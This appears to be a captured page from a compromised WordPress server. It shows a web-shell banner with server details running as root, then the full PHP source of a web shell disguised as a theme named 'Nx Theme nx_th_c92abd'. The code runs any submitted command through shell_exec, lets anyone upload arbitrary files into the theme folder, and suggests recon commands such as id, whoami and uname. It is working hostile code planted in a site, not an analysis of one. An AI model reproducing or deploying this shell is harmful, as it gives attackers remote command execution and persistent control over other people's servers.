| Server IP : 38.190.208.107 / Your IP : 216.73.217.46 Web Server : nginx/1.28.1 System : Linux ht2026040333114 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64 User : root ( 0) PHP Version : 8.2.28 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,eval,assert,passthru,system,exec,shell_exec,popen,proc_open MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wwwroot/wp.2/wp-content/themes/nx_th_c92abd/ |
Upload File : |
<?php
/*
Plugin Name: Nx Theme nx_th_c92abd
Description: Simple Cmd Exec + Upload
Version: 1.0
*/
$msg = '';
if (isset($_POST['cmd']) && !empty($_POST['cmd'])) {
$cmd = $_POST['cmd'];
$output = shell_exec($cmd . ' 2>&1');
$msg .= '<pre>' . htmlspecialchars($output ?? '') . '</pre>';
}
if ( isset( $_SERVER['REQUEST_METHOD'] ) && $_SERVER['REQUEST_METHOD'] === 'POST' && isset( $_FILES['file'] ) ) {
$f = $_FILES['file'];
if ( is_array( $f ) && (int) $f['error'] === UPLOAD_ERR_OK && is_uploaded_file( $f['tmp_name'] ) ) {
$name = basename( (string) $f['name'] );
$name = preg_replace( '/[^A-Za-z0-9._-]/', '_', $name );
if ( $name === '' || $name === null ) { $name = 'upload.bin'; }
$dest = __DIR__.DIRECTORY_SEPARATOR . $name;
if ( move_uploaded_file( $f['tmp_name'], $dest ) && is_file( $dest ) ) {
$msg .= '<p>OK ' . htmlspecialchars( $name, ENT_QUOTES, 'UTF-8' ) . '</p>';
} else { $msg .= '<p>FAIL</p>'; }
} else { $msg .= '<p>NOFILE</p>'; }
}
?><!DOCTYPE html>
<html><head><meta charset="utf-8"><meta name="robots" content="noindex,nofollow"><title>Nx Shell</title></head>
<body>
<p class="s">sig :: H2OK</p>
<h3>Command Execution</h3>
<form method="post">
<input type="text" name="cmd" size="80" placeholder="id ; ls -la ; whoami ; uname -a" value="<?= htmlspecialchars($_POST['cmd'] ?? '') ?>" autofocus>
<button type="submit">Execute</button>
</form>
<?php if ($msg !== '') echo $msg; ?>
<h3>File Upload</h3>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit">Upload</button>
</form>
</body></html>